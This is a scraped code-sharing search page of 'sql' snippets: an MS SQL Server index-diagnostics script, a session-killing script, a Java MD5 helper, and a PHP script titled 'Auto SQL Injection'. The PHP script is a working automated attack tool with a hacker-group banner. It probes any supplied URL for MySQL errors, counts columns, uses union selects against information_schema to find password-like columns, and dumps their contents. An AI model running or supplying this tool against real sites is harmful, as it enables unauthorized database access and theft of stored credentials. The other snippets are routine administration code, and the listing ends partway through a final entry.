working on it ...

Filters

Explore Public Snippets

Sort by

Found 15k snippets matching: sql

    public by cghersi modified Apr 11, 2014  327659  0  6  1

    Retrieve useful information regarding indexes in MS SQL Server

    This script helps the DBA to retrieve valuable information regarding indexes. Here the complete explanation of the output fields: object_type: type of object (will either be "U" for User-Defined Table or "V" for View) database_name: name of the database schema_name: name of the schema object_name: name of the object create_date: date the obje
    SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED
    SET NOCOUNT ON
    SET ANSI_WARNINGS OFF
    SET ARITHABORT OFF
    SET ARITHIGNORE ON
    SET TEXTSIZE 2147483647
    
    
    -----------------------------------------------------------------------------------------------------------------------------
    --	Declarations / Sets: Declare And Set Variables
    -----------------------------------------------------------------------------------------------------------------------------
    
    DECLARE @Database_ID AS SMALLINT
    
    
    SET @Database_ID = DB_ID ()
    
    
    -----------------------------------------------------------------------------------------------------------------------------
    --	Error Trapping: Check If Temp Table(s) Already Exist(s) And Drop If Applicable
    -----------------------------------------------------------------------------------------------------------------------------
    
    IF OBJECT_ID (N'tempdb.dbo.#temp_index_breakdown_keys_filters', N'U') IS NOT NULL
    BEGIN
    
    	DROP TABLE dbo.#temp_index_breakdown_keys_filters
    
    END
    
    
    IF OBJECT_ID (N'tempdb.dbo.#temp_index_breakdown_size_info', N'U') IS NOT NULL
    BEGIN
    
    	DROP TABLE dbo.#temp_index_breakdown_size_info
    
    END
    
    
    -----------------------------------------------------------------------------------------------------------------------------
    --	Table Insert: Insert Index Key, Include Key, And Filter Definition Values Into Temp Table
    -----------------------------------------------------------------------------------------------------------------------------
    
    SELECT
    	 sqI.[object_id]
    	,sqI.index_id
    	,STUFF (CONVERT (NVARCHAR (MAX), sqI.index_key), 1, 2, N'') AS index_key
    	,STUFF (CONVERT (NVARCHAR (MAX), sqI.include_key), 1, 2, N'') AS include_key
    	,sqI.filter_definition
    	,RANK () OVER
    				(
    					ORDER BY
    						 sqI.[object_id]
    						,CONVERT (NVARCHAR (MAX), sqI.index_key)
    						,sqI.filter_definition
    				) AS dupe_rank
    INTO
    	dbo.#temp_index_breakdown_keys_filters
    FROM
    
    	(
    		SELECT
    			 I.[object_id]
    			,I.index_id
    			,(
    				SELECT
    					  N', '
    					+ C.name
    					+ N' • '
    					+ TYPE_NAME (C.user_type_id)
    					+ ISNULL ((N': [ ' + (CASE
    											WHEN C.system_type_id <> C.user_type_id THEN LOWER (TYPE_NAME (C.system_type_id))
    											END) + N' ]'), N'')
    					+ N' '
    					+ (CASE
    							WHEN TY.name NOT IN (N'bigint', N'bit', N'date', N'datetime', N'datetime2', N'datetimeoffset', N'decimal', N'float', N'int', N'money', N'numeric', N'real', N'smalldatetime', N'smallint', N'smallmoney', N'time', N'tinyint') THEN CONVERT (NVARCHAR (30), C.max_length)
    							ELSE CONVERT (NVARCHAR (30), C.max_length) + N' (' + CONVERT (NVARCHAR (30), COLUMNPROPERTY (C.[object_id], C.name, 'Precision')) + N',' + ISNULL (CONVERT (NVARCHAR (30), COLUMNPROPERTY (C.[object_id], C.name, 'Scale')), 0) + N')'
    							END)
    					+ N' '
    					+ (CASE
    							WHEN IC.is_descending_key = 0 THEN N'[A]'
    							WHEN IC.is_descending_key = 1 THEN N'[D]'
    							ELSE N'[N/A]'
    							END) AS [text()]
    				FROM
    					sys.index_columns IC
    					INNER JOIN sys.columns C ON C.[object_id] = IC.[object_id]
    						AND C.column_id = IC.column_id
    					INNER JOIN sys.types TY ON TY.user_type_id = C.user_type_id
    				WHERE
    					IC.is_included_column = 0
    					AND IC.[object_id] = I.[object_id]
    					AND IC.index_id = I.index_id
    				ORDER BY
    					IC.key_ordinal
    				FOR
    					 XML PATH ('')
    					,TYPE
    			 ) AS index_key
    			,(
    				SELECT
    					  N', '
    					+ C.name
    					+ N' • '
    					+ TYPE_NAME (C.user_type_id)
    					+ ISNULL ((N': [ ' + (CASE
    											WHEN C.system_type_id <> C.user_type_id THEN LOWER (TYPE_NAME (C.system_type_id))
    											END) + N' ]'), N'')
    					+ N' '
    					+ (CASE
    							WHEN TY.name NOT IN (N'bigint', N'bit', N'date', N'datetime', N'datetime2', N'datetimeoffset', N'decimal', N'float', N'int', N'money', N'numeric', N'real', N'smalldatetime', N'smallint', N'smallmoney', N'time', N'tinyint') THEN CONVERT (NVARCHAR (30), C.max_length)
    							ELSE CONVERT (NVARCHAR (30), C.max_length) + N' (' + CONVERT (NVARCHAR (30), COLUMNPROPERTY (C.[object_id], C.name, 'Precision')) + N',' + ISNULL (CONVERT (NVARCHAR (30), COLUMNPROPERTY (C.[object_id], C.name, 'Scale')), 0) + N')'
    							END) AS [text()]
    				FROM
    					sys.index_columns IC
    					INNER JOIN sys.columns C ON C.[object_id] = IC.[object_id]
    						AND C.column_id = IC.column_id
    					INNER JOIN sys.types TY ON TY.user_type_id = C.user_type_id
    				WHERE
    					IC.is_included_column = 1
    					AND IC.[object_id] = I.[object_id]
    					AND IC.index_id = I.index_id
    				ORDER BY
    					IC.key_ordinal
    				FOR
    					 XML PATH ('')
    					,TYPE
    			 ) AS include_key
    			,I.filter_definition
    		FROM
    			sys.indexes I
    	) sqI
    
    
    -----------------------------------------------------------------------------------------------------------------------------
    --	Table Insert: Insert Size Values Into Temp Table
    -----------------------------------------------------------------------------------------------------------------------------
    
    SELECT
    	 DDPS.[object_id]
    	,DDPS.index_id
    	,SUM (CASE
    			WHEN DDPS.index_id < 2 THEN DDPS.row_count
    			END) AS [rows]
    	,SUM (DDPS.reserved_page_count) AS total_pages
    	,SUM (DDPS.used_page_count) AS used_pages
    	,SUM (CASE
    			WHEN DDPS.index_id < 2 THEN DDPS.in_row_data_page_count + DDPS.lob_used_page_count + DDPS.row_overflow_used_page_count
    			ELSE DDPS.lob_used_page_count + DDPS.row_overflow_used_page_count
    			END) AS data_pages
    INTO
    	dbo.#temp_index_breakdown_size_info
    FROM
    	sys.dm_db_partition_stats DDPS
    GROUP BY
    	 DDPS.[object_id]
    	,DDPS.index_id
    
    
    -----------------------------------------------------------------------------------------------------------------------------
    --	Main Query: Final Display / Output
    -----------------------------------------------------------------------------------------------------------------------------
    
    SELECT
    	 (CASE
    		WHEN sqBAQ.row_filter = 1 THEN sqBAQ.[type]
    		ELSE ''
    		END) AS object_type
    	,(CASE
    		WHEN sqBAQ.row_filter = 1 THEN DB_NAME ()
    		ELSE ''
    		END) AS [database_name]
    	,(CASE
    		WHEN sqBAQ.row_filter = 1 THEN SCHEMA_NAME (sqBAQ.[schema_id])
    		ELSE ''
    		END) AS [schema_name]
    	,(CASE
    		WHEN sqBAQ.row_filter = 1 THEN OBJECT_NAME (sqBAQ.[object_id])
    		ELSE ''
    		END) AS [object_name]
    	,(CASE
    		WHEN sqBAQ.row_filter = 1 THEN sqBAQ.create_date
    		ELSE ''
    		END) AS create_date
    	,(CASE
    		WHEN sqBAQ.row_filter = 1 THEN caMDKL.modify_date
    		ELSE ''
    		END) AS modify_date
    	,(CASE
    		WHEN sqBAQ.row_filter = 1 THEN REVERSE (SUBSTRING (REVERSE (CONVERT (VARCHAR (25), CONVERT (MONEY, sqBAQ.[rows]), 1)), 4, 22))
    		ELSE ''
    		END) AS [rows]
    	,(CASE
    		WHEN sqBAQ.row_filter = 1 THEN CONVERT (VARCHAR (25), CONVERT (MONEY, (sqBAQ.total_pages * 8) / 1024.0), 1)
    		ELSE ''
    		END) AS total_mb
    	,(CASE
    		WHEN sqBAQ.row_filter = 1 THEN CONVERT (VARCHAR (25), CONVERT (MONEY, (sqBAQ.used_pages * 8) / 1024.0), 1)
    		ELSE ''
    		END) AS used_mb
    	,(CASE
    		WHEN sqBAQ.row_filter = 1 THEN CONVERT (VARCHAR (25), CONVERT (MONEY, (sqBAQ.unused_pages * 8) / 1024.0), 1)
    		ELSE ''
    		END) AS unused_mb
    	,(CASE
    		WHEN sqBAQ.row_filter = 1 THEN CONVERT (VARCHAR (25), CONVERT (MONEY, (sqBAQ.data_pages * 8) / 1024.0), 1)
    		ELSE ''
    		END) AS data_mb
    	,(CASE
    		WHEN sqBAQ.row_filter = 1 THEN CONVERT (VARCHAR (25), CONVERT (MONEY, (sqBAQ.index_pages * 8) / 1024.0), 1)
    		ELSE ''
    		END) AS index_mb
    	,(CASE
    		WHEN sqBAQ.row_filter = 1 THEN CONVERT (VARCHAR (6), CONVERT (DECIMAL (5, 2), ISNULL (((sqBAQ.data_pages + .0) / sqBAQ.used_pages) * 100, 0)))
    		ELSE ''
    		END) AS pct_data
    	,(CASE
    		WHEN sqBAQ.row_filter = 1 THEN CONVERT (VARCHAR (6), CONVERT (DECIMAL (5, 2), ISNULL (((sqBAQ.index_pages + .0) / sqBAQ.used_pages) * 100, 0)))
    		ELSE ''
    		END) AS pct_index
    	,sqBAQ.type_desc AS index_type
    	,ISNULL (sqBAQ.index_name, '') AS index_name
    	,(CASE
    		WHEN sqBAQ.type_desc = N'HEAP' THEN ''
    		WHEN sqBAQ.is_primary_key = 0 AND sqBAQ.is_unique = 0 THEN REPLICATE ('.', 6)
    		WHEN sqBAQ.is_system_named = 0 THEN 'No'
    		WHEN sqBAQ.is_system_named = 1 THEN 'Yes'
    		ELSE ''
    		END) AS system_named
    	,(CASE
    		WHEN sqBAQ.is_primary_key = 1 THEN 'Yes'
    		ELSE ''
    		END) AS is_pk
    	,(CASE
    		WHEN sqBAQ.is_unique_constraint = 1 THEN 'C'
    		WHEN sqBAQ.is_unique = 1 THEN 'I'
    		ELSE ''
    		END) AS [unique]
    	,(CASE
    		WHEN sqBAQ.is_disabled = 1 THEN 'Yes'
    		ELSE ''
    		END) AS [disabled]
    	,(CASE
    		WHEN sqBAQ.is_hypothetical = 1 THEN 'Yes'
    		ELSE ''
    		END) AS hypothetical
    	,REVERSE (SUBSTRING (REVERSE (CONVERT (VARCHAR (23), CONVERT (MONEY, sqCC.total_columns), 1)), 4, 23)) AS total_columns
    	,(CASE
    		WHEN sqBAQ.type_desc = N'HEAP' THEN ''
    		ELSE REVERSE (SUBSTRING (REVERSE (CONVERT (VARCHAR (23), CONVERT (MONEY, caMDKL.[index_columns]), 1)), 4, 23))
    		END) AS [index_columns]
    	,(CASE
    		WHEN sqBAQ.type_desc = N'HEAP' THEN ''
    		ELSE REVERSE (SUBSTRING (REVERSE (CONVERT (VARCHAR (23), CONVERT (MONEY, caMDKL.include_columns), 1)), 4, 23))
    		END) AS include_columns
    	,(CASE
    		WHEN sqBAQ.type_desc = N'HEAP' THEN ''
    		ELSE REVERSE (SUBSTRING (REVERSE (CONVERT (VARCHAR (23), CONVERT (MONEY, (caMDKL.[index_columns] / sqCC.total_columns) * 100), 1)), 1, 23))
    		END) AS index_pct_of_columns
    	,(CASE
    		WHEN sqBAQ.type_desc = N'HEAP' THEN ''
    		ELSE REVERSE (SUBSTRING (REVERSE (CONVERT (VARCHAR (23), CONVERT (MONEY, (caMDKL.include_columns / sqCC.total_columns) * 100), 1)), 1, 23))
    		END) AS include_pct_of_columns
    	,(CASE
    		WHEN sqBAQ.type_desc = N'HEAP' THEN ''
    		ELSE REVERSE (SUBSTRING (REVERSE (CONVERT (VARCHAR (23), CONVERT (MONEY, ((caMDKL.[index_columns] + caMDKL.include_columns) / sqCC.total_columns) * 100), 1)), 1, 23))
    		END) AS total_pct_of_columns
    	,CONVERT (VARCHAR (25), CONVERT (MONEY, (ISNULL (sqBAQ.individual_index_pages, 0) * 8) / 1024.0), 1) AS key_mb
    	,CONVERT (VARCHAR (6), CONVERT (DECIMAL (5, 2), ISNULL (((sqBAQ.individual_index_pages + .0) / sqBAQ.index_pages) * 100, 0))) AS key_mb_pct
    	,(CASE
    		WHEN sqBAQ.type_desc = N'HEAP' THEN ''
    		ELSE REVERSE (SUBSTRING (REVERSE (CONVERT (VARCHAR (25), CONVERT (MONEY, sqKL.total_max_length), 1)), 4, 22))
    		END) AS max_key_size_bytes
    	,(CASE
    		WHEN sqKL.total_max_length > 900 THEN 'Yes'
    		ELSE ''
    		END) AS over_key_size_limit
    	,ISNULL (ttIBKF.index_key, N'') AS index_key
    	,ISNULL (ttIBKF.include_key, N'') AS include_key
    	,ISNULL (ttIBKF.filter_definition, N'') AS filter_definition
    	,(CASE
    		WHEN sqED02.dupe_id IS NOT NULL THEN CONVERT (VARCHAR (20), sqED02.dupe_id) + ' - [' + CONVERT (VARCHAR (11), sqED02.total_dupes) + ']'
    		ELSE ''
    		END) AS dupe_id
    	,sqBAQ.is_unused AS unused
    	,ISNULL (CONVERT (VARCHAR (10), STATS_DATE (sqBAQ.[object_id], sqBAQ.index_id), 23), '') AS statistics_date
    	,(CASE
    		WHEN sqBAQ.[allow_row_locks] = 0 THEN 'No'
    		WHEN sqBAQ.[allow_row_locks] = 1 THEN 'Yes'
    		ELSE ''
    		END) AS row_locks
    	,(CASE
    		WHEN sqBAQ.[allow_page_locks] = 0 THEN 'No'
    		WHEN sqBAQ.[allow_page_locks] = 1 THEN 'Yes'
    		ELSE ''
    		END) AS page_locks
    	,(CASE
    		WHEN sqBAQ.[ignore_dup_key] = 0 THEN 'No'
    		WHEN sqBAQ.[ignore_dup_key] = 1 THEN 'Yes'
    		ELSE ''
    		END) AS ignore_dupes
    	,(CASE
    		WHEN sqBAQ.no_recompute = 0 THEN 'Yes'
    		WHEN sqBAQ.no_recompute = 1 THEN 'No'
    		ELSE ''
    		END) AS auto_stats
    	,(CASE
    		WHEN sqBAQ.is_padded = 0 THEN 'No'
    		WHEN sqBAQ.is_padded = 1 THEN 'Yes'
    		ELSE ''
    		END) AS padded
    	,(CASE
    		WHEN sqBAQ.fill_factor = 0 THEN 100
    		ELSE sqBAQ.fill_factor
    		END) AS fill_factor
    	,(CASE
    		WHEN sqBAQ.user_seeks > 0 THEN CONVERT (VARCHAR (20), sqBAQ.user_seeks)
    		ELSE ''
    		END) AS user_seeks
    	,(CASE
    		WHEN sqBAQ.user_scans > 0 THEN CONVERT (VARCHAR (20), sqBAQ.user_scans)
    		ELSE ''
    		END) AS user_scans
    	,(CASE
    		WHEN sqBAQ.user_lookups > 0 THEN CONVERT (VARCHAR (20), sqBAQ.user_lookups)
    		ELSE ''
    		END) AS user_lookups
    	,(CASE
    		WHEN sqBAQ.user_updates > 0 THEN CONVERT (VARCHAR (20), sqBAQ.user_updates)
    		ELSE ''
    		END) AS user_updates
    	,ISNULL (CONVERT (VARCHAR (10), sqBAQ.last_user_seek, 23), '') AS last_user_seek
    	,ISNULL (CONVERT (VARCHAR (10), sqBAQ.last_user_scan, 23), '') AS last_user_scan
    	,ISNULL (CONVERT (VARCHAR (10), sqBAQ.last_user_lookup, 23), '') AS last_user_lookup
    	,ISNULL (CONVERT (VARCHAR (10), sqBAQ.last_user_update, 23), '') AS last_user_update
    	,(CASE
    		WHEN sqBAQ.system_seeks > 0 THEN CONVERT (VARCHAR (20), sqBAQ.system_seeks)
    		ELSE ''
    		END) AS system_seeks
    	,(CASE
    		WHEN sqBAQ.system_scans > 0 THEN CONVERT (VARCHAR (20), sqBAQ.system_scans)
    		ELSE ''
    		END) AS system_scans
    	,(CASE
    		WHEN sqBAQ.system_lookups > 0 THEN CONVERT (VARCHAR (20), sqBAQ.system_lookups)
    		ELSE ''
    		END) AS system_lookups
    	,(CASE
    		WHEN sqBAQ.system_updates > 0 THEN CONVERT (VARCHAR (20), sqBAQ.system_updates)
    		ELSE ''
    		END) AS system_updates
    	,ISNULL (CONVERT (VARCHAR (10), sqBAQ.last_system_seek, 23), '') AS last_system_seek
    	,ISNULL (CONVERT (VARCHAR (10), sqBAQ.last_system_scan, 23), '') AS last_system_scan
    	,ISNULL (CONVERT (VARCHAR (10), sqBAQ.last_system_lookup, 23), '') AS last_system_lookup
    	,ISNULL (CONVERT (VARCHAR (10), sqBAQ.last_system_update, 23), '') AS last_system_update
    FROM
    
    	(
    		SELECT
    			 O.[type]
    			,O.[schema_id]
    			,O.[object_id]
    			,CONVERT (VARCHAR (10), O.create_date, 23) AS create_date
    			,CONVERT (VARCHAR (10), O.modify_date, 23) AS modify_date
    			,sqDDPS.[rows]
    			,sqDDPS.total_pages
    			,sqDDPS.used_pages
    			,(CASE
    				WHEN sqDDPS.total_pages > sqDDPS.used_pages THEN sqDDPS.total_pages - sqDDPS.used_pages
    				ELSE 0
    				END) AS unused_pages
    			,sqDDPS.data_pages
    			,(CASE
    				WHEN sqDDPS.used_pages > sqDDPS.data_pages THEN sqDDPS.used_pages - sqDDPS.data_pages
    				ELSE 0
    				END) AS index_pages
    			,sqI.type_desc
    			,sqI.name AS index_name
    			,sqI.is_system_named
    			,sqI.is_primary_key
    			,sqI.is_unique
    			,sqI.is_disabled
    			,sqI.is_hypothetical
    			,sqI.individual_index_pages
    			,sqI.is_unused
    			,sqI.[allow_row_locks]
    			,sqI.[allow_page_locks]
    			,sqI.[ignore_dup_key]
    			,sqI.no_recompute
    			,sqI.is_padded
    			,sqI.fill_factor
    			,sqI.user_seeks
    			,sqI.user_scans
    			,sqI.user_lookups
    			,sqI.user_updates
    			,sqI.last_user_seek
    			,sqI.last_user_scan
    			,sqI.last_user_lookup
    			,sqI.last_user_update
    			,sqI.system_seeks
    			,sqI.system_scans
    			,sqI.system_lookups
    			,sqI.system_updates
    			,sqI.last_system_seek
    			,sqI.last_system_scan
    			,sqI.last_system_lookup
    			,sqI.last_system_update
    			,sqI.is_unique_constraint
    			,sqI.index_id
    			,sqI.row_filter
    		FROM
    			sys.objects O
    			INNER JOIN
    
    				(
    					SELECT
    						 ttIBSI.[object_id]
    						,SUM (ttIBSI.[rows]) AS [rows]
    						,SUM (ttIBSI.total_pages) AS total_pages
    						,SUM (ttIBSI.used_pages) AS used_pages
    						,SUM (ttIBSI.data_pages) AS data_pages
    					FROM
    						dbo.#temp_index_breakdown_size_info ttIBSI
    					GROUP BY
    						ttIBSI.[object_id]
    				) sqDDPS ON sqDDPS.[object_id] = O.[object_id]
    
    			INNER JOIN
    
    				(
    					SELECT
    						 I.[object_id]
    						,I.type_desc
    						,I.name
    						,KC.is_system_named
    						,I.is_primary_key
    						,I.is_unique
    						,I.is_disabled
    						,I.is_hypothetical
    						,(CASE
    							WHEN ttIBSI.used_pages > ttIBSI.data_pages THEN ttIBSI.used_pages - ttIBSI.data_pages
    							END) AS individual_index_pages
    						,(CASE
    							WHEN I.[type] = 0 THEN ''
    							WHEN I.[type] = 1 THEN REPLICATE ('.', 6)
    							WHEN I.is_primary_key = 1 THEN REPLICATE ('.', 6)
    							WHEN I.is_unique = 1 THEN REPLICATE ('.', 6)
    							WHEN EXISTS
    
    								(
    									SELECT
    										*
    									FROM
    										sys.index_columns IC
    										INNER JOIN sys.foreign_key_columns FKC ON FKC.parent_object_id = IC.[object_id]
    											AND FKC.parent_column_id = IC.column_id
    									WHERE
    										IC.[object_id] = I.[object_id]
    										AND IC.index_id = I.index_id
    								) THEN REPLICATE ('.', 6)
    
    							WHEN DDIUS.[object_id] IS NOT NULL THEN (CASE
    																		WHEN DDIUS.user_seeks + DDIUS.user_scans + DDIUS.user_lookups + DDIUS.user_updates = 0 THEN 'Y/N'
    																		ELSE 'No'
    																		END)
    							ELSE 'Yes'
    							END) AS is_unused
    						,I.[allow_row_locks]
    						,I.[allow_page_locks]
    						,I.[ignore_dup_key]
    						,S.no_recompute
    						,I.is_padded
    						,I.fill_factor
    						,DDIUS.user_seeks
    						,DDIUS.user_scans
    						,DDIUS.user_lookups
    						,DDIUS.user_updates
    						,DDIUS.last_user_seek
    						,DDIUS.last_user_scan
    						,DDIUS.last_user_lookup
    						,DDIUS.last_user_update
    						,DDIUS.system_seeks
    						,DDIUS.system_scans
    						,DDIUS.system_lookups
    						,DDIUS.system_updates
    						,DDIUS.last_system_seek
    						,DDIUS.last_system_scan
    						,DDIUS.last_system_lookup
    						,DDIUS.last_system_update
    						,I.is_unique_constraint
    						,I.index_id
    						,ROW_NUMBER () OVER
    											(
    												PARTITION BY
    													I.[object_id]
    												ORDER BY
    													 I.is_primary_key DESC
    													,(CASE
    														WHEN I.[type] = 0 THEN 'Z'
    														ELSE 'A'
    														END)
    													,I.[type]
    													,I.name
    											) AS row_filter
    					FROM
    						sys.indexes I
    						INNER JOIN dbo.#temp_index_breakdown_size_info ttIBSI ON ttIBSI.[object_id] = I.[object_id]
    							AND ttIBSI.index_id = I.index_id
    						LEFT JOIN sys.key_constraints KC ON KC.parent_object_id = I.[object_id]
    							AND KC.unique_index_id = I.index_id
    						LEFT JOIN sys.stats S ON S.[object_id] = I.[object_id]
    							AND S.stats_id = I.index_id
    						LEFT JOIN master.sys.dm_db_index_usage_stats DDIUS ON DDIUS.[object_id] = I.[object_id]
    							AND DDIUS.index_id = I.index_id
    							AND DDIUS.database_id = @Database_ID
    				) sqI ON sqI.[object_id] = O.[object_id]
    
    		WHERE
    			O.[type] IN ('U', 'V')
    			AND O.is_ms_shipped = 0
    			AND NOT
    
    				(
    					SCHEMA_NAME (O.[schema_id]) = N'dbo'
    					AND O.name = N'sysdiagrams'
    					AND O.[type] = 'U'
    				)
    
    	) sqBAQ
    
    	INNER JOIN
    
    		(
    			SELECT
    				 C.[object_id]
    				,COUNT (*) + .0 AS total_columns
    			FROM
    				sys.columns C
    			GROUP BY
    				C.[object_id]
    		) sqCC ON sqCC.[object_id] = sqBAQ.[object_id]
    
    	LEFT JOIN dbo.#temp_index_breakdown_keys_filters ttIBKF ON ttIBKF.[object_id] = sqBAQ.[object_id]
    		AND ttIBKF.index_id = sqBAQ.index_id
    	LEFT JOIN
    
    		(
    			SELECT
    				 IC.[object_id]
    				,IC.index_id
    				,SUM (C.max_length) AS total_max_length
    			FROM
    				sys.index_columns IC
    				INNER JOIN sys.columns C ON C.[object_id] = IC.[object_id]
    					AND C.column_id = IC.column_id
    			WHERE
    				IC.is_included_column = 0
    			GROUP BY
    				 IC.[object_id]
    				,IC.index_id
    		) sqKL ON sqKL.[object_id] = sqBAQ.[object_id] AND sqKL.index_id = sqBAQ.index_id
    
    	LEFT JOIN
    
    		(
    			SELECT
    				 sqED01.dupe_rank
    				,sqED01.total_dupes
    				,ROW_NUMBER () OVER
    									(
    										ORDER BY
    											(SELECT NULL)
    									) AS dupe_id
    			FROM
    
    				(
    					SELECT
    						 ttIBKF.dupe_rank
    						,COUNT (*) AS total_dupes
    					FROM
    						dbo.#temp_index_breakdown_keys_filters ttIBKF
    					GROUP BY
    						ttIBKF.dupe_rank
    					HAVING
    						COUNT (*) > 1
    				) sqED01
    
    		) sqED02 ON sqED02.dupe_rank = ttIBKF.dupe_rank
    
    	CROSS APPLY
    
    		(
    			SELECT
    				 (CASE
    					WHEN sqBAQ.modify_date = sqBAQ.create_date THEN REPLICATE ('.', 18)
    					ELSE sqBAQ.modify_date
    					END) AS modify_date
    				,LEN (ttIBKF.index_key) - LEN (REPLACE (ttIBKF.index_key, '•', '')) AS [index_columns]
    				,ISNULL (LEN (ttIBKF.include_key) - LEN (REPLACE (ttIBKF.include_key, '•', '')), 0) AS include_columns
    		) caMDKL
    
    ORDER BY
    	 sqBAQ.[type]
    	,SCHEMA_NAME (sqBAQ.[schema_id])
    	,OBJECT_NAME (sqBAQ.[object_id])
    	,sqBAQ.row_filter
    
    
    -----------------------------------------------------------------------------------------------------------------------------
    --	Cleanup: Drop Any Remaining Temp Tables
    -----------------------------------------------------------------------------------------------------------------------------
    
    IF OBJECT_ID (N'tempdb.dbo.#temp_index_breakdown_keys_filters', N'U') IS NOT NULL
    BEGIN
    
    	DROP TABLE dbo.#temp_index_breakdown_keys_filters
    
    END
    
    
    IF OBJECT_ID (N'tempdb.dbo.#temp_index_breakdown_size_info', N'U') IS NOT NULL
    BEGIN
    
    	DROP TABLE dbo.#temp_index_breakdown_size_info
    
    END

    public by sh1nu11bi modified Oct 6, 2014  320686  15  4  0

    Auto SQL Injection

    Auto SQL Injection: gistfile1.txt
    SQL
    	
    
    <?
            @set_time_limit(0)
            @error_reporting(0)
            if(count($argv)<=2)
            {
                    print("
          __                      _ _        
    __  __/ _\ ___  ___ _   _ _ __(_) |_ _   _
    \ \/ /\ \ / _ \/ __| | | | '__| | __| | | |
    >  < _\ \  __/ (__| |_| | |  | | |_| |_| |
    /_/\_\\__/\___|\___|\__,_ |_|  |_|\__|\__, |
                                        |___/Auto SQL Injection =D
    #Coders : xSecurity & Mr.Dm4r
    #Home: sec4ever.com | is-sec.com | s3c-k.com | v4-team.com | madleets.com
    #Greets: UzunDz - b0x - Lov3rDNS - DamaneDz - rOx - r0kin Special For My Lov3r Cyber-Crystal\n");
                    print "Usage : php {$argv[0]} site.com/file.php?id=1 id\n";
                    die();
            }
            function checke($url){
        $login = $url;
        $ch = curl_init();
        curl_setopt($ch,CURLOPT_URL,$login);
            curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1');
        curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
            $result = curl_exec($ch);
        curl_close($ch);
            return $result;
        }
            $target = urldecode($argv[1]);
            $id = $argv[2];
            #preg_match("#(\?)?{$id}\=([0-9]{1,6})(&)?#",$target,$m);
            #print_r($m);
            #exit();
            $test = preg_replace("#{$id}\=([0-9]{1,6})#","{$id}=$1'",$target);
            $get = file_get_contents("{$test}");
            if(eregi("MySQL",$get))
            {
                    echo "Infected .. Trying To Exploit\r\n";
                    $test2 = preg_replace("#{$id}\=([0-9]{1,6})#","{$id}=$1+/*!order+by*/+1000--",$target);
                    $order1 = file_get_contents($test2);
                    if(eregi("MySQL",$order1) or eregi("'1000' in 'order",$order1))
                    {
                            echo "Please wite to get cals\r\n";
                    }else{
                            echo "Can't Get cols please test orther site\r\n";
                            exit();
                    }
                    for($i=1;$i<=50;$i++)
                    {
                            echo (($i-1)==0)?"":"Col ".($i-1)."\r\n";
                            $un .= "{$i},";
                            $test1 = preg_replace("#{$id}\=([0-9]{1,6})#","{$id}=$1+/*!order+by*/+{$i}--",$target);
                            $order = file_get_contents($test1);
                            if(!$order)
                            {
                                    echo "Target Falied. \r\n";
                                    exit();
                            }
                            if(eregi("MySQL",$order) or eregi("'{$i}' in 'order",$order))
                            {      
                                    $by = ($i-0);
                                    echo "order by = ".($i-1)." \r\n";
                                    break;
                            }
                    }
                    $u = $by;
                    $un = preg_replace("#,{$u},#","",$un);
                    $target = preg_replace("#{$id}\=([0-9]{1,6})#","{$id}=-$1",$target);
                    $injc = preg_replace("#[0-9]{1,50}#","/*!concat(0x4d722e446d3472,column_name,0x7c3a7c,table_schema,0x7c3a7c,table_name,0x4d722e446d3472)*/",$un);
                    $url = urlencode(" /*!union select*/ {$injc} /*!from information_schema.columns where column_name like char(37, 112, 97, 115, 115, 37)*/--");
                    $fulltarget = "{$target}{$url}";
                    $exploit = @file_get_contents($fulltarget);
                    preg_match("#Mr.Dm4r(.*?)Mr.Dm4r#",$exploit,$m);
                    $exp = explode("|:|",$m[1]);
                    $password = (($exp[0])=="")?"0x4e6f7420466f756e64":$exp[0];
                    $db = $exp[1];
                    $table = $exp[2];
                    $sqltable = bin2hex($table);
                    if($password == "0x4e6f7420466f756e64"){exit("Error");}
                    $injc2 = preg_replace("#[0-9]{1,50}#","/*!concat(0x4d722e446d3472,group_concat(column_name),0x4d722e446d3472)*/",$un);
                    $url2 = urlencode(" /*!union select*/ {$injc2} /*!from information_schema.columns where table_name=0x{$sqltable}*/--");
                    $fulltarget2 = "{$target}{$url2}";
                    $exploit2 = @file_get_contents($fulltarget2);
                    preg_match("#Mr.Dm4r(.*?)Mr.Dm4r#",$exploit2,$m2);
                    $m2[1] = explode(",",$m2[1]);
                    foreach($m2[1] as $tables)
                    {
                            if($m2[1][count($m2[1])-1]==$tables)
                            {
                                    $col .= "{$tables}";
                            }else{
                                    $col .= "{$tables},0x7c3a7c,";
                            }
                            $cols[]=$tables;
                    }
                    $injc3 = preg_replace("#[0-9]{1,50}#","/*!concat(0x4d722e446d3472,{$col},0x4d722e446d3472)*/",$un);
                    $url3 = urlencode(" /*!union select*/ {$injc3} /*! from {$table}*/--");
                    $fulltarget3 = "{$target}{$url3}";
                    $exploit3 = @file_get_contents($fulltarget3);
                    preg_match("#Mr.Dm4r(.*?)Mr.Dm4r#",$exploit3,$m3);
                    $infos = explode("|:|",$m3[1]);
                    $i=0;
                    foreach($infos as $info){
                            echo "{$cols[$i]} : {$info}\r\n";
                    $i++;
                    }
                    file_put_contents("dd.txt",$exploit2."\r\n".$fulltarget2);
                    #print_r($m2);
            } else {
                    echo "not infected";
            }
         
    ?>
    
    
    
    
    

    public by sjschmalfeld modified Oct 31, 2016  298406  1  4  1

    Kill Connections to a Database SQL Server

    sql
    // KILL CONNECTIONS TO A DATABASE
    
    USE [master]
    GO  
    
    DECLARE @kill varchar(8000) = '';  
    SELECT @kill = @kill + 'kill ' + CONVERT(varchar(5), session_id) + ';'  
    FROM sys.dm_exec_sessions
    WHERE database_id  = db_id('MyDB')
    
    EXEC(@kill);

    public by cghersi modified Aug 5, 2014  290120  1  6  0

    How to simply compute the MD5 hash of a given string, being sure to have the same results retrieved by HASH method of MS SQL Server

    Returns the MD5 hash of the given string
    public static String computeMD5Hash(String input) {
    	if (isNullOrEmpty(input))
    		return "";
    	byte[] bytesOfMessage = null;
    	try {
    		bytesOfMessage = input.getBytes("UTF-16LE");
    	} catch (UnsupportedEncodingException e) {
    		log.error("Cannot support UTF-8 encoding due to " + e, e);
    		return "";
    	}
    	MessageDigest md = null;
    	try {
    		md = MessageDigest.getInstance("MD5");
    	} catch (NoSuchAlgorithmException e) {
    		log.error("Cannot support MD5 algorithm due to " + e, e);
    		return "";
    	}
    	byte[] thedigest = md.digest(bytesOfMessage);
    	return printHexByteArray(thedigest);
    }

    public by Fabax modified Aug 21, 2013  144378  0  4  0

    Exemple de requete sql

